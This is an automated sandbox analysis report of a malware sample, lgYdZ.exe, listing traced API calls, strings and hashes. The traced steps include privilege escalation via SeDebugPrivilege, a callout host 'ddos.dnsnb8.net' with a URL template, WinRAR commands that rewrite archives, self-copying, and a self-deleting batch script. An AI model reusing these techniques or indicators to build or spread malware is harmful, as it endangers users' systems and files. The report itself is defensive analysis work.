API String ID: 2523042076-3705739006
Opcode ID: 4b3f18f8823fee7064ab9cadc3ed3860e25f0c6e5416ffee9aecbcd99454508b
Instruction ID: 09b1a0f318388ba9046c320ffcfb70979ad5500dc353734b59794122835029fd
Opcode Fuzzy Hash: 4b3f18f8823fee7064ab9cadc3ed3860e25f0c6e5416ffee9aecbcd99454508b
Instruction Fuzzy Hash: 25516D7199029AAFCB10DF99DCC8ABEBBB8EB05355F504579F515A7290C3308E60CB90

Function 002E28B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002E28D3
wsprintfA.USER32 ref: 002E28F7
memset.MSVCRT ref: 002E2925
wsprintfA.USER32 ref: 002E2940

Part of subcall function 002E29E2: memset.MSVCRT ref: 002E2A02
Part of subcall function 002E29E2: wsprintfA.USER32 ref: 002E2A1A
Part of subcall function 002E29E2: memset.MSVCRT ref: 002E2A44
Part of subcall function 002E29E2: lstrlen.KERNEL32(?), ref: 002E2A54
Part of subcall function 002E29E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 002E2A6C
Part of subcall function 002E29E2: strrchr.MSVCRT ref: 002E2A7C
Part of subcall function 002E29E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 002E2A9F
Part of subcall function 002E29E2: lstrlen.KERNEL32(Documents and Settings), ref: 002E2AAE
Part of subcall function 002E29E2: memset.MSVCRT ref: 002E2AC6
Part of subcall function 002E29E2: memset.MSVCRT ref: 002E2ADA
Part of subcall function 002E29E2: FindFirstFileA.KERNEL32(?,?), ref: 002E2AEF
Part of subcall function 002E29E2: memset.MSVCRT ref: 002E2B13

strrchr.MSVCRT ref: 002E2959
lstrcmpiA.KERNEL32(00000001,exe), ref: 002E2974

Strings

rar, xrefs: 002E2988
exe, xrefs: 002E296D
C:\Users\user\AppData\Local\Temp\, xrefs: 002E29B3
%s\, xrefs: 002E293A
%s%s, xrefs: 002E28F1

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-1035934456
Opcode ID: 58bc876a651d1e4ac712b83945c2ec5775571619ecff7a74de67ad21cf8ff4b9
Instruction ID: 3078fe55c75f587bd3f092e141e3da23ed0a59fff5736b1715122c7169c2cecb
Opcode Fuzzy Hash: 58bc876a651d1e4ac712b83945c2ec5775571619ecff7a74de67ad21cf8ff4b9
Instruction Fuzzy Hash: 0231C9719D038DA7DB20DB66DC8DFDA375CDB12311F540452F587A7082D6B4AAE88B60

Function 002E1638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 002E164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 002E165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\lgYdZ.exe,00000104), ref: 002E166E
CreateThread.KERNEL32(00000000,00000000,002E1099,00000000,00000000,00000000), ref: 002E16AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 002E16BD

Part of subcall function 002E139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\lgYdZ.exe), ref: 002E13BC
Part of subcall function 002E139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 002E13DA
Part of subcall function 002E139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 002E1448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\lgYdZ.exe), ref: 002E16E5

Strings

C:\Windows\system32, xrefs: 002E1656
C:\Users\user\AppData\Local\Temp\, xrefs: 002E1644
Documents and Settings, xrefs: 002E1696
C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E1662, 002E1667, 002E16DD

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\lgYdZ.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-173455730
Opcode ID: 71d72e91713a19bea85f86e6f0a21ce490549a605f3eb64fbd0077608c416029
Instruction ID: d314b8d91a8b4ff1732950377a02974f8d2e98f35eef8a48508f07e7993d937a
Opcode Fuzzy Hash: 71d72e91713a19bea85f86e6f0a21ce490549a605f3eb64fbd0077608c416029
Instruction Fuzzy Hash: EF11B4715E01D4BBCB20ABA3FD8DEDB7E6DEB56762F400061F2099A0A0C6708570CBA1

Function 002E1000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HG.,http://%s:%d/%s/%s,002E10E8,?), ref: 002E1018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,76C08400), ref: 002E1029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 002E1038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 002E104B
UnmapViewOfFile.KERNEL32(00000000), ref: 002E1075
CloseHandle.KERNEL32(?), ref: 002E108B
CloseHandle.KERNEL32(00000000), ref: 002E108E

Strings

ddos.dnsnb8.net, xrefs: 002E1026
http://%s:%d/%s/%s, xrefs: 002E1000
HG., xrefs: 002E1001

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: HG.$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-3336804696
Opcode ID: 636531e50dc21eed125503abedcdbd92ce096174f327acc38bfe8be940a2d016
Instruction ID: a2fa72d0f0960e2756526c4fd7536d4b8b9f0d56bc7df9fa058dd53bf0751920
Opcode Fuzzy Hash: 636531e50dc21eed125503abedcdbd92ce096174f327acc38bfe8be940a2d016
Instruction Fuzzy Hash: F301617118429DBFE730AF61ECCCE2BBBACEB447AAF004539F645A7090D6705E548B60

Function 002E2C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002E2C57

Part of subcall function 002E1973: PathFileExistsA.SHLWAPI(\N.`N.,00000000,C:\Users\user\AppData\Local\Temp\lgYdZ.exe), ref: 002E1992
Part of subcall function 002E1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 002E19BA
Part of subcall function 002E1973: Sleep.KERNEL32(00000064), ref: 002E19C6
Part of subcall function 002E1973: wsprintfA.USER32 ref: 002E19EC
Part of subcall function 002E1973: CopyFileA.KERNEL32(?,?,00000000), ref: 002E1A00
Part of subcall function 002E1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E1A1E
Part of subcall function 002E1973: GetFileSize.KERNEL32(?,00000000), ref: 002E1A2C
Part of subcall function 002E1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 002E1A46
Part of subcall function 002E1973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 002E1A65

CreateThread.KERNEL32(00000000,00000000,Function_00002B8C,00000000,00000000,00000000), ref: 002E2C99
WaitForMultipleObjects.KERNEL32(00000001,002E16BA,00000001,000000FF,?,002E16BA,00000000), ref: 002E2CAC
VirtualFree.KERNEL32(00D90000,00000000,00008000,C:\Users\user\AppData\Local\Temp\lgYdZ.exe,002E4E5C,002E4E60,?,002E16BA,00000000), ref: 002E2CC2

Strings

C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E2C69

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\lgYdZ.exe
API String ID: 2042498389-3221356301
Opcode ID: ceeeccd5ee4502e5808351dc2a5caa9df8dd5adda26c9827a5df17ccf9c9a2ab
Instruction ID: 93f6bfe8c8eb61fccf4600d5ebb38b17d71bfc9a6eb84825dbf7bce681ba25cb
Opcode Fuzzy Hash: ceeeccd5ee4502e5808351dc2a5caa9df8dd5adda26c9827a5df17ccf9c9a2ab
Instruction Fuzzy Hash: 7401D4716D12A0BBD710AB96EC4EEAF7E5CEF02B20F944011F505DA1C1D5A09A24C7A0

Function 002E14E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 002E1504
VirtualQuery.KERNEL32(002E14E1,?,0000001C), ref: 002E1525
ExitProcess.KERNEL32 ref: 002E157A

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: 1e677f511d7f84ccf4e3c3f883c05bfda2e4716e27b206e4587d2088ba01aaef
Instruction ID: 5de3e76a47ffaabef9a6199b5a6f959996501f556808ae4f51660f115958a95a
Opcode Fuzzy Hash: 1e677f511d7f84ccf4e3c3f883c05bfda2e4716e27b206e4587d2088ba01aaef
Instruction Fuzzy Hash: 8F115A71DD0285DFCB21EFA6BCC9A7D77ACEB88B11B90403AF402EA250D27089619B51

Function 002E1915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002E1933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 002E1947

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: eba5dd22c054607661281f861c7c2c7b209f374c3a4c85532da61a874489a9e3
Instruction ID: ff78be794bfec94ca2941427f2dfe4a794d5e4ea1f2d59c30b471f0c8c5e896d
Opcode Fuzzy Hash: eba5dd22c054607661281f861c7c2c7b209f374c3a4c85532da61a874489a9e3
Instruction Fuzzy Hash: 77F06832290289ABDB20DE27DC48BE777ACEB50361F508536F516D5051E770D669CBB0

Function 002E6158 Relevance: 2.6, APIs: 2, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 002E60DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 002E6189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 002E61A5

Memory Dump Source

Source File: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: f615a505d6c13235873ed5a5962c863a6e3620b90df26d9d4b58c43e6473c06b
Instruction ID: 5fbc8a78afd18b9b239ef288f7429e02814e816b9d5e96a962dc625c34bb5257
Opcode Fuzzy Hash: f615a505d6c13235873ed5a5962c863a6e3620b90df26d9d4b58c43e6473c06b
Instruction Fuzzy Hash: D4119D31A9068ACFCF318E59CC993DD37A1FF21341FA84019DE8D5F292DA712964CB94

Non-executed Functions

Function 002E119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\lgYdZ.exe,?,?,?,?,?,?,002E13EF), ref: 002E11AB
OpenProcessToken.ADVAPI32(00000000,00000028,002E13EF,?,?,?,?,?,?,002E13EF), ref: 002E11BB
AdjustTokenPrivileges.ADVAPI32(002E13EF,00000000,?,00000010,00000000,00000000), ref: 002E11EB
CloseHandle.KERNEL32(002E13EF), ref: 002E11FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,002E13EF), ref: 002E1203

Strings

C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E11A5

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\lgYdZ.exe
API String ID: 75692138-3221356301
Opcode ID: e1b6db31866e029efd507012a0ab013b297c9a3dcb8ec828a813577275470294
Instruction ID: 3da54f68acae99dc6a0619ee0ff2331497531e0a87fa9210709939be7980237f
Opcode Fuzzy Hash: e1b6db31866e029efd507012a0ab013b297c9a3dcb8ec828a813577275470294
Instruction Fuzzy Hash: D10124B1940249FFDB10DFE4ED8DAAEBBB9FB08306F104469E606A6250D7709F449F50

Function 002E139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\lgYdZ.exe), ref: 002E13BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 002E13DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 002E1448

Part of subcall function 002E119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\lgYdZ.exe,?,?,?,?,?,?,002E13EF), ref: 002E11AB
Part of subcall function 002E119F: OpenProcessToken.ADVAPI32(00000000,00000028,002E13EF,?,?,?,?,?,?,002E13EF), ref: 002E11BB
Part of subcall function 002E119F: AdjustTokenPrivileges.ADVAPI32(002E13EF,00000000,?,00000010,00000000,00000000), ref: 002E11EB
Part of subcall function 002E119F: CloseHandle.KERNEL32(002E13EF), ref: 002E11FA
Part of subcall function 002E119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,002E13EF), ref: 002E1203

Strings

SeDebugPrivilege, xrefs: 002E13D3
C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E13A8

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\lgYdZ.exe$SeDebugPrivilege
API String ID: 4123949106-2963551306
Opcode ID: 7b947720cca7288120b82544c1bf02616faeff8ceaf46ce0d0218e617d1d0247
Instruction ID: 7409107f2f7f14cd60f7a6a0567c92275fbd501a190479f46434a2add5f2db39
Opcode Fuzzy Hash: 7b947720cca7288120b82544c1bf02616faeff8ceaf46ce0d0218e617d1d0247
Instruction Fuzzy Hash: BB31A271E9028AAADF20DFA3CC45FEEBBB8EB45300F504079E505B3181D6309E65CB60

Function 002E239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 002E23CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 002E2464
GetFileSize.KERNEL32(00000000,00000000), ref: 002E2472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 002E24A8
memset.MSVCRT ref: 002E24B9
strrchr.MSVCRT ref: 002E24C9
wsprintfA.USER32 ref: 002E24DE
strrchr.MSVCRT ref: 002E24ED
memset.MSVCRT ref: 002E24F2
memset.MSVCRT ref: 002E2505
wsprintfA.USER32 ref: 002E2524
Sleep.KERNEL32(000007D0), ref: 002E2535
Sleep.KERNEL32(000007D0), ref: 002E255D
memset.MSVCRT ref: 002E256E
wsprintfA.USER32 ref: 002E2585
memset.MSVCRT ref: 002E25A6
wsprintfA.USER32 ref: 002E25CA
Sleep.KERNEL32(000007D0), ref: 002E25D0
Sleep.KERNEL32(000007D0,?,?), ref: 002E25E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 002E25FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 002E2611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 002E2642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 002E265B
SetEndOfFile.KERNEL32 ref: 002E266D
CloseHandle.KERNEL32(00000000), ref: 002E2676
RemoveDirectoryA.KERNEL32(?), ref: 002E2681

Strings

%s X -ibck "%s" "%s\", xrefs: 002E251E
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 002E25C4
C:\Users\user\AppData\Local\Temp\, xrefs: 002E23B1, 002E23B6, 002E24CD
%s\, xrefs: 002E257F
%s%s, xrefs: 002E24D8
-ibck, xrefs: 002E25BA

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-1636733187
Opcode ID: 1fdcf24db637656694fa6fc355f7708a14fa6c8a2056fe1f11b91c5c1a55be53
Instruction ID: 30e92a8701f6ecf69464c80fdc6e86cac099bf8a0adda03d929ac78f7505a0ab
Opcode Fuzzy Hash: 1fdcf24db637656694fa6fc355f7708a14fa6c8a2056fe1f11b91c5c1a55be53
Instruction Fuzzy Hash: 9F81D1B1494384BBD710DF61EC8CEAB77ECFB88705F40091AFA85D7190D7709A588B66

Function 002E274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002E2766
memset.MSVCRT ref: 002E2774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 002E2787
wsprintfA.USER32 ref: 002E27AB

Part of subcall function 002E185B: GetSystemTimeAsFileTime.KERNEL32(002E1F92,00000000,?,00000000,?,?,?,002E1F92,?,00000000,00000002), ref: 002E1867
Part of subcall function 002E185B: srand.MSVCRT ref: 002E1878
Part of subcall function 002E185B: rand.MSVCRT ref: 002E1880
Part of subcall function 002E185B: srand.MSVCRT ref: 002E1890
Part of subcall function 002E185B: rand.MSVCRT ref: 002E1894

wsprintfA.USER32 ref: 002E27C6
CopyFileA.KERNEL32(?,002E4C80,00000000), ref: 002E27D4
wsprintfA.USER32 ref: 002E27F4

Part of subcall function 002E1973: PathFileExistsA.SHLWAPI(\N.`N.,00000000,C:\Users\user\AppData\Local\Temp\lgYdZ.exe), ref: 002E1992
Part of subcall function 002E1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 002E19BA
Part of subcall function 002E1973: Sleep.KERNEL32(00000064), ref: 002E19C6
Part of subcall function 002E1973: wsprintfA.USER32 ref: 002E19EC
Part of subcall function 002E1973: CopyFileA.KERNEL32(?,?,00000000), ref: 002E1A00
Part of subcall function 002E1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E1A1E
Part of subcall function 002E1973: GetFileSize.KERNEL32(?,00000000), ref: 002E1A2C
Part of subcall function 002E1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 002E1A46
Part of subcall function 002E1973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 002E1A65

DeleteFileA.KERNEL32(?,?,002E4E54,002E4E58), ref: 002E281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,002E4E54,002E4E58), ref: 002E2832

Strings

%s\%s, xrefs: 002E27EE
C:\Windows\system32, xrefs: 002E27E3
C:\Users\user\AppData\Local\Temp\, xrefs: 002E27B6
%s%.8x.exe, xrefs: 002E27BB
c_31892.nls, xrefs: 002E27DE
%s%s, xrefs: 002E27A5
\WinRAR\Rar.exe, xrefs: 002E2793

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-3642343254
Opcode ID: 6558f03d9b170103704f7b39066b90e2440d4a032dc060f503500e65bb4e3c34
Instruction ID: c50cd223a882ec96eefb302e86f6847bc485ed9d3159b7bd208e64f5d01e2ee7
Opcode Fuzzy Hash: 6558f03d9b170103704f7b39066b90e2440d4a032dc060f503500e65bb4e3c34
Instruction Fuzzy Hash: A12165B6DD029C7BDB10EBA5ACCDFEB736CEB05745F8005A1B645E3041E6709F648AA0

Function 002E1581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002E185B: GetSystemTimeAsFileTime.KERNEL32(002E1F92,00000000,?,00000000,?,?,?,002E1F92,?,00000000,00000002), ref: 002E1867
Part of subcall function 002E185B: srand.MSVCRT ref: 002E1878
Part of subcall function 002E185B: rand.MSVCRT ref: 002E1880
Part of subcall function 002E185B: srand.MSVCRT ref: 002E1890
Part of subcall function 002E185B: rand.MSVCRT ref: 002E1894

wsprintfA.USER32 ref: 002E15AA
wsprintfA.USER32 ref: 002E15C6
lstrlen.KERNEL32(?), ref: 002E15D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 002E15EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 002E1609
CloseHandle.KERNEL32(00000000), ref: 002E1612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 002E162D

Strings

:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 002E15C0
C:\Users\user\AppData\Local\Temp\, xrefs: 002E1599
%s%.8x.bat, xrefs: 002E15A4
C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E158A, 002E15B3, 002E15B8, 002E15B9
open, xrefs: 002E1627

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\lgYdZ.exe$open
API String ID: 617340118-1054358515
Opcode ID: 5d9ecf001ea84324b428ad64a28e691dac8f5ae3d075fdc637dce1af24dfd358
Instruction ID: d96015b6ee66ffe8161b0b66f31027b6f444a2ea580904e8723526cc1ffdab94
